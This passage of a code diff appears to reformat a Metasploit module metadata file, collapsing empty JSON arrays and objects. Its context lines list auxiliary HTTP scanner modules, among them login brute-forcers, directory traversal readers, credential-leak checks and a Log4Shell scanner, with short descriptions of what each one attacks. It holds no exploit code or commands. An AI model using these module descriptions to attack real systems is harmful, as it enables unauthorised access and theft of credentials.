- - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38520,9 +33494,7 @@ "newpid0" ], "description": "This module scans a Joomla install for plugins and potential\n vulnerabilities.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -38549,20 +33521,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/joomla_version": { "name": "Joomla Version Scanner", "fullname": "auxiliary/scanner/http/joomla_version", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38570,9 +33537,7 @@ "newpid0" ], "description": "This module scans a Joomla install for information about the underlying\n operating system and Joomla version.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -38599,20 +33564,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/jupyter_login": { "name": "Jupyter Login Utility", "fullname": "auxiliary/scanner/http/jupyter_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38620,9 +33580,7 @@ "Spencer McIntyre" ], "description": "This module checks if authentication is required on a Jupyter Lab or Notebook server. If it is, this module will\n bruteforce the password. Jupyter only requires a password to authenticate, usernames are not used. This module\n is compatible with versions 4.3.0 (released 2016-12-08) and newer.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8888, @@ -38649,20 +33607,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/kodi_traversal": { "name": "Kodi 17.0 Local File Inclusion Vulnerability", "fullname": "auxiliary/scanner/http/kodi_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-02-12", "type": "auxiliary", @@ -38700,20 +33653,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/limesurvey_zip_traversals": { "name": "LimeSurvey Zip Path Traversals", "fullname": "auxiliary/scanner/http/limesurvey_zip_traversals", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-02", "type": "auxiliary", @@ -38766,22 +33714,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/linknat_vos_traversal": { "name": "Linknat Vos Manager Traversal", "fullname": "auxiliary/scanner/http/linknat_vos_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38819,20 +33761,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/linksys_e1500_traversal": { "name": "Linksys E1500 Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/linksys_e1500_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38873,20 +33810,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/litespeed_source_disclosure": { "name": "LiteSpeed Source Code Disclosure/Download", "fullname": "auxiliary/scanner/http/litespeed_source_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -38927,20 +33859,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/log4shell_scanner": { "name": "Log4Shell HTTP Scanner", "fullname": "auxiliary/scanner/http/log4shell_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-12-09", "type": "auxiliary", @@ -38992,22 +33919,16 @@ "Log4Shell", "LogJam" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/lucky_punch": { "name": "HTTP Microsoft SQL Injection Table XSS Infection", "fullname": "auxiliary/scanner/http/lucky_punch", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39015,9 +33936,7 @@ "et " ], "description": "This module implements the mass SQL injection attack in\n use lately by concatenation of HTML string that forces a persistent\n XSS attack to redirect user browser to an attacker controller website.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -39044,20 +33963,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/majordomo2_directory_traversal": { "name": "Majordomo2 _list_file_get() Directory Traversal", "fullname": "auxiliary/scanner/http/majordomo2_directory_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-08", "type": "auxiliary", @@ -39098,20 +34012,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/manageengine_desktop_central_login": { "name": "ManageEngine Desktop Central Login Utility", "fullname": "auxiliary/scanner/http/manageengine_desktop_central_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39119,9 +34028,7 @@ "sinn3r " ], "description": "This module will attempt to authenticate to a ManageEngine Desktop Central.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8020, @@ -39148,20 +34055,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/manageengine_deviceexpert_traversal": { "name": "ManageEngine DeviceExpert 5.6 ScheduleResultViewer FileName Traversal", "fullname": "auxiliary/scanner/http/manageengine_deviceexpert_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-18", "type": "auxiliary", @@ -39199,20 +34101,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/manageengine_deviceexpert_user_creds": { "name": "ManageEngine DeviceExpert User Credentials", "fullname": "auxiliary/scanner/http/manageengine_deviceexpert_user_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-08-28", "type": "auxiliary", @@ -39252,20 +34149,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/manageengine_securitymanager_traversal": { "name": "ManageEngine SecurityManager Plus 5.5 Directory Traversal", "fullname": "auxiliary/scanner/http/manageengine_securitymanager_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-10-19", "type": "auxiliary", @@ -39304,20 +34196,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/mediawiki_svg_fileaccess": { "name": "MediaWiki SVG XML Entity Expansion Remote File Access", "fullname": "auxiliary/scanner/http/mediawiki_svg_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39358,20 +34245,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/meteocontrol_weblog_extractadmin": { "name": "Meteocontrol WEBlog Password Extractor", "fullname": "auxiliary/scanner/http/meteocontrol_weblog_extractadmin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39410,20 +34292,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/mod_negotiation_brute": { "name": "Apache HTTPD mod_negotiation Filename Bruter", "fullname": "auxiliary/scanner/http/mod_negotiation_brute", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39431,9 +34308,7 @@ "diablohorn " ], "description": "This module performs a brute force attack in order to discover existing files on a\n server which uses mod_negotiation. If the filename is found, the IP address and the\n files found will be displayed.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -39460,20 +34335,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/mod_negotiation_scanner": { "name": "Apache HTTPD mod_negotiation Scanner", "fullname": "auxiliary/scanner/http/mod_negotiation_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39481,9 +34351,7 @@ "diablohorn " ], "description": "This module scans the webserver of the given host(s) for the existence of mod_negotiate.\n If the webserver has mod_negotiation enabled, the IP address will be displayed.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -39510,20 +34378,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/ms09_020_webdav_unicode_bypass": { "name": "MS09-020 IIS6 WebDAV Unicode Authentication Bypass", "fullname": "auxiliary/scanner/http/ms09_020_webdav_unicode_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39565,20 +34428,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/ms15_034_http_sys_memory_dump": { "name": "MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure", "fullname": "auxiliary/scanner/http/ms15_034_http_sys_memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39623,20 +34481,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/mybook_live_login": { "name": "Western Digital MyBook Live Login Utility", "fullname": "auxiliary/scanner/http/mybook_live_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39644,9 +34497,7 @@ "Nicholas Starke " ], "description": "This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -39673,20 +34524,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/nagios_xi_scanner": { "name": "Nagios XI Scanner", "fullname": "auxiliary/scanner/http/nagios_xi_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39727,20 +34573,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/netalertx_file_read": { "name": " NetAlertX File Read Vulnerability", "fullname": "auxiliary/scanner/http/netalertx_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2025-01-30", "type": "auxiliary", @@ -39786,22 +34627,16 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/netdecision_traversal": { "name": "NetDecision NOCVision Server Directory Traversal", "fullname": "auxiliary/scanner/http/netdecision_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-07", "type": "auxiliary", @@ -39841,20 +34676,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/netgear_sph200d_traversal": { "name": "Netgear SPH200D Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/netgear_sph200d_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39894,20 +34724,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/nginx_source_disclosure": { "name": "Nginx Source Code Disclosure/Download", "fullname": "auxiliary/scanner/http/nginx_source_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -39948,20 +34773,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/novell_file_reporter_fsfui_fileaccess": { "name": "NFR Agent FSFUI Record Arbitrary Remote File Access", "fullname": "auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-16", "type": "auxiliary", @@ -39999,20 +34819,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/novell_file_reporter_srs_fileaccess": { "name": "NFR Agent SRS Record Arbitrary Remote File Access", "fullname": "auxiliary/scanner/http/novell_file_reporter_srs_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-16", "type": "auxiliary", @@ -40051,20 +34866,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/novell_mdm_creds": { "name": "Novell Zenworks Mobile Device Management Admin Credentials", "fullname": "auxiliary/scanner/http/novell_mdm_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40104,20 +34914,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/ntlm_info_enumeration": { "name": "Host Information Enumeration via NTLM Authentication", "fullname": "auxiliary/scanner/http/ntlm_info_enumeration", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40125,9 +34930,7 @@ "Brandon Knight" ], "description": "This module makes requests to resources on the target server in\n an attempt to find resources which permit NTLM authentication. For\n resources which permit NTLM authentication, a blank NTLM type 1 message\n is sent to enumerate a type 2 message from the target server. The type\n 2 message is then parsed for information such as the Active Directory\n domain and NetBIOS name. A single URI can be specified with TARGET_URI\n and/or a file of URIs can be specified with TARGET_URIS_FILE (default).", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40154,20 +34957,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/octopusdeploy_login": { "name": "Octopus Deploy Login Utility", "fullname": "auxiliary/scanner/http/octopusdeploy_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40175,9 +34973,7 @@ "James Otten " ], "description": "This module simply attempts to login to an Octopus Deploy server using a specific\n username and password. It has been confirmed to work on version 3.4.4", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40204,20 +35000,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/onion_omega2_login": { "name": "Onion Omega2 Login Brute-Force", "fullname": "auxiliary/scanner/http/onion_omega2_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-27", "type": "auxiliary", @@ -40225,18 +35016,12 @@ "Not So Attractive " ], "description": "OnionOS login scanner module for Onion Omega2 devices.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": "80", - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-05-17 17:04:49 +0000", "path": "/modules/auxiliary/scanner/http/onion_omega2_login.py", @@ -40245,20 +35030,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/open_proxy": { "name": "HTTP Open Proxy Detection", "fullname": "auxiliary/scanner/http/open_proxy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40296,20 +35076,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/openmind_messageos_login": { "name": "OpenMind Message-OS Portal Login Brute Force Utility", "fullname": "auxiliary/scanner/http/openmind_messageos_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40317,9 +35092,7 @@ "Karn Ganeshen " ], "description": "This module scans for OpenMind Message-OS provisioning web login portal, and\n performs a login brute force attack to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 8888, @@ -40346,20 +35119,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/options": { "name": "HTTP Options Detection", "fullname": "auxiliary/scanner/http/options", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40402,20 +35170,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/oracle_demantra_database_credentials_leak": { "name": "Oracle Demantra Database Credentials Leak", "fullname": "auxiliary/scanner/http/oracle_demantra_database_credentials_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-28", "type": "auxiliary", @@ -40455,20 +35218,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/oracle_demantra_file_retrieval": { "name": "Oracle Demantra Arbitrary File Retrieval with Authentication Bypass", "fullname": "auxiliary/scanner/http/oracle_demantra_file_retrieval", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-28", "type": "auxiliary", @@ -40508,20 +35266,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/oracle_ilom_login": { "name": "Oracle ILO Manager Login Brute Force Utility", "fullname": "auxiliary/scanner/http/oracle_ilom_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40529,9 +35282,7 @@ "Karn Ganeshen " ], "description": "This module scans for Oracle Integrated Lights Out Manager (ILO) login portal, and\n performs a login brute force attack to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -40558,20 +35309,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/owa_ews_login": { "name": "OWA Exchange Web Services (EWS) Login Scanner", "fullname": "auxiliary/scanner/http/owa_ews_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40579,18 +35325,12 @@ "Rich Whitcroft" ], "description": "This module attempts to log in to the Exchange Web Services, often\n exposed at https://example.com/ews/, using NTLM authentication. This\n method is faster and simpler than traditional form-based logins.\n\n In most cases, all you need to set is RHOSTS and some combination of\n user/pass files; the autodiscovery should find the location of the NTLM\n authentication point as well as the AD domain, and use them accordingly.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-08-31 17:10:07 +0000", "path": "/modules/auxiliary/scanner/http/owa_ews_login.rb", @@ -40599,20 +35339,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/owa_iis_internal_ip": { "name": "Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure", "fullname": "auxiliary/scanner/http/owa_iis_internal_ip", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-12-17", "type": "auxiliary", @@ -40620,9 +35355,7 @@ "Nate Power" ], "description": "This module tests vulnerable IIS HTTP header file paths on Microsoft\n Exchange OWA 2003 and CAS 2007, 2010, and 2013 servers.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -40649,20 +35382,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/owa_login": { "name": "Outlook Web App (OWA) Brute Force Utility", "fullname": "auxiliary/scanner/http/owa_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40678,9 +35406,7 @@ "Andrew Smith" ], "description": "This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 443, @@ -40707,8 +35433,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -40737,9 +35462,7 @@ "auxiliary_scanner/http/phpmyadmin_login": { "name": "PhpMyAdmin Login Scanner", "fullname": "auxiliary/scanner/http/phpmyadmin_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40747,9 +35470,7 @@ "Shelby Pace" ], "description": "This module will attempt to authenticate to PhpMyAdmin.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40776,20 +35497,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/pocketpad_login": { "name": "PocketPAD Login Bruteforce Force Utility", "fullname": "auxiliary/scanner/http/pocketpad_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40797,9 +35513,7 @@ "Karn Ganeshen " ], "description": "This module scans for PocketPAD login portal, and\n performs a login bruteforce attack to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40826,20 +35540,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/prev_dir_same_name_file": { "name": "HTTP Previous Directory File Scanner", "fullname": "auxiliary/scanner/http/prev_dir_same_name_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40847,9 +35556,7 @@ "et " ], "description": "This module identifies files in the first parent directory with same name as\n the given directory path. Example: Test /backup/files/ will look for the\n following files /backup/files.ext .", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40876,20 +35583,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/radware_appdirector_enum": { "name": "Radware AppDirector Bruteforce Login Utility", "fullname": "auxiliary/scanner/http/radware_appdirector_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40897,9 +35599,7 @@ "Karn Ganeshen " ], "description": "This module scans for Radware AppDirector's web login portal, and performs login brute force\n to identify valid credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -40926,20 +35626,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rails_json_yaml_scanner": { "name": "Ruby on Rails JSON Processor YAML Deserialization Scanner", "fullname": "auxiliary/scanner/http/rails_json_yaml_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -40977,20 +35672,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rails_mass_assignment": { "name": "Ruby On Rails Attributes Mass Assignment Scanner", "fullname": "auxiliary/scanner/http/rails_mass_assignment", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41027,20 +35717,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rails_xml_yaml_scanner": { "name": "Ruby on Rails XML Processor YAML Deserialization Scanner", "fullname": "auxiliary/scanner/http/rails_xml_yaml_scanner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41079,20 +35764,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rdp_web_login": { "name": "Microsoft RDP Web Client Login Enumeration", "fullname": "auxiliary/scanner/http/rdp_web_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-12-23", "type": "auxiliary", @@ -41106,12 +35786,8 @@ "platform": "", "arch": "", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-04 14:24:07 +0000", "path": "/modules/auxiliary/scanner/http/rdp_web_login.py", @@ -41120,20 +35796,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/replace_ext": { "name": "HTTP File Extension Scanner", "fullname": "auxiliary/scanner/http/replace_ext", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41141,9 +35812,7 @@ "et " ], "description": "This module identifies the existence of additional files\n by modifying the extension of an existing file.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41170,20 +35839,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rewrite_proxy_bypass": { "name": "Apache Reverse Proxy Bypass Vulnerability Scanner", "fullname": "auxiliary/scanner/http/rewrite_proxy_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41221,20 +35885,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rfcode_reader_enum": { "name": "RFCode Reader Web Interface Login / Bruteforce Utility", "fullname": "auxiliary/scanner/http/rfcode_reader_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41242,9 +35901,7 @@ "Karn Ganeshen " ], "description": "This module simply attempts to login to a RFCode Reader web interface.\n Please note that by default there is no authentication. In such a case, password brute force will not be performed.\n If there is authentication configured, the module will attempt to find valid login credentials and capture device information.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, @@ -41271,20 +35928,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_scanner/http/rips_traversal": { "name": "RIPS Scanner Directory Traversal", "fullname": "auxiliary/scanner/http/rips_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -41323,20 +35975,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": 